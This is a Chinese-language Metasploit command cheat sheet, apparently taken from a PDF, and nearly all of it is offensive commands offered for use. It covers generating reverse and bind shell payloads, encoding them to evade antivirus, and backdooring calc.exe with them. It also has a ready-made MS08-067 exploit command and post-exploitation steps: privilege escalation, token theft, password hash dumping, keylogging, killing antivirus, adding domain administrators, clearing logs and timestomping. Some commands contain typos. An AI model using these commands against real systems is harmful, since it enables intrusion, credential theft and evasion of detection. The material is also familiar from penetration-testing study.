metasploit 常用命令备忘 MSFconsole Commands
-------------------------------------
24
show exploits 查看所有exploit
show payloads 查看所有payload
show auxiliary 查看所有auxiliary
search name 搜索exploit 等
info 查看加载模块的信息
use name 加载模块
LHOST 本机IP
RHOST 目标IP
set function 设置选项值
setg function 全局设置
show options 查看选项
show targets 查看exp 可选的平台
set target num 设置exp 作用平台
set payload payload 设置payload
show advanced 查看高级选项
set autorunscript migrate -f 设置自动执行指令
check 测试是否可利用
exploit 执行exp 或模块
exploit -j 作为后台执行
exploit -z 成功后不立即打开session
exploit -e encoder 指定encoder
exploit -h 查看帮助信息
sessions -l -v 列出可用sessions 详细信息
sessions -s script 在指定session 执行脚本
sessions -K 结束session
sessions -c cmd 执行指定命令
sessions -u sessionID 升级shell
db_create name 创建数据库
db_connect name 连接数据库
db_nmap nmap 扫描并导入结果
db_autopwn -h 查看autopwn 帮助
db_autopwn -p -r -e 基于端口,反弹shell
db_destroy 删除数据库
---------------------------------------------------------------------------------------------
Meterpreter Commands
----------------------------------------------------------------
help 查看帮助
run scriptname 运行脚本
sysinfo 系统基本信息
ls 列目录
use priv 运行提权组件
ps 列进程
migrate PID PID 迁移
use incognito token 窃取
25
list_tokens -u 查看可用用户token
list_tokens -g 查看可用组token
impersonate_token DOMAIN_NAME\\USERNAME 模仿token
steal_token PID 窃取PID 所属token 并模仿
drop_token 停止模仿token
getsystem 获取SYSTEM 权限
shell 运行shell
execute -f cmd.exe -i 交互式运行cmd
execute -f cmd.exe -i -t 使用可用token 运行
execute -f cmd.exe -i -H -t 同上,同时隐藏进程
rev2self 返回至初始用户
reg command 修改注册表
setkesktop number 切换至另一已登录用户屏幕
screenshot 截屏
upload file 上传文件
download file 下载文件
keyscan_start 开始截取击键记录
keyscan_stop 停止截取击键记录
getprivs 尽可能提升权限
uictl enable keyboard/mouse 获取键盘或鼠标的控制权
background 将当前meterpreter shell 转入后台
hashdump 导出所有用户hash
use sniffer 加载嗅探模块
sniffer_interfaces 查看可用网卡接口
sniffer_dump interfaceID pcapname 开始嗅探
sniffer_start interfaceID packet-buffer 指定buffer 范围嗅探
sniffer_stats interfaceID 抓取统计信息
sniffer_stop interfaceID 停止嗅探
add_user username password -h ip 添加用户
add_group_user "Domain Admins" username -h ip 添加用户至管理组
clearev 清空日志
timestomp 改变文件属性如创建时间等
reboot 重启
---------------------------------------------------------------------------------------------------------
MSFpayload Commands
---------------------------------------------------------------
msfpayload -h 查看帮助
msfpayload windows/meterpreter/bind_tcp 0
查看指定payload 可用选项
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 X >
payload.exe
生成payload.exe
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R >
payload.raw
26
保存为RAW 格式,可用于msfencode
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
保存为C 格式
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
保存为java 格式
-------------------------------------------------------------------------------------------------------
MSFencode Commands
-----------------------------------------------------------
msfencode -h 查看帮助
msfencode -l 查看可用encoder
msfencode -t (c,elf.exe,java.js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)
以指定格式显示编码后的buffer
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
生成编码后的exe
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/countdown -c
5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded.exe
多编码器结合,多次编码
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
生成纯字符格式C 类型shellcode
----------------------------------------------------------------------------------------------------------
MSFcli Commands
-----------------------------------------------------------
msfcli |grep exploit 只显示exploit
msfcli | grep exploit/windows 只显示windows exploit
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp
LPORT=443 RHOST=172.16.32.26 E
针对指定IP 加载指定exp 并设定payload
------------------------------------------------------------------------------------------------------------
MSF,Ninja,Fu
---------------------------------------------------------------------
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R |
msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
使用calc.exe 作为模板,生成经过编码的后门
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R |
msfencode -x calc,exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
与上面差不多,只是执行的时候不依赖于生成的可执行文件,且不会有任何提示信息
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe
-e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/hanler
PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E
生成编码后的payload 并开始监听本机端口
-------------------------------------------------------------------------------------------------------
MSFvenom
-------------------------------------------------------------
msfvenom --payload 自动生成payload
27
-------------------------------------------------------------------------------------------------------------
Meterpreter Post Exploitation Commands
---------------------------------------------------------------
提权一般步骤
meterpreter> use priv
meterpreter> getsystem
meterpreter> ps
meterpreter> steal_token 1784
meterpreter> shell
net user msf msf /add /DOMAIN
net group "Domain Admins" msf /add /DOMAIN
获取hash 一般步骤
meterpreter> use priv
meterpreter> getsystem
meterpreter> hashdump
如果是在win2008 系统上:
meterpreter> run migrate
meterpreter> run killav
meterpreter> ps
meterpreter> migrate 1436
meterpreter> keyscan_start
meterpreter> keyscan_dump
meterpreter> keyscan_stop
使用Incognito 提权
meterpreter> use incognito
meterpreter> list_tokens -u
meterpreter> use priv
meterpreter> getsystem
meterpreter> list_tokens -u
meterpreter> impersonate_token IHAZSECURITY\\Administrator
查看保护机制并禁用之
meterpreter> run getcountermeasure
meterpreter> run getcountermeasure -h
meterpreter> run getcountermeasure -d -k
检查是否是虚拟机
meterpreter> run checkvm
转入命令行
meterpreter> shell
28
远程VNC 控制
meterpreter> run vnc
转入后台
meterpreter> background
Bypass UAC
meterpreter> run post/windows/escalate/bypassuac
OS X 系统上dump hash
meterpreter> run post/osx/gather/hashdump
Linux 系统上dump hash
meterpreter> run post/linux/gather/hashdump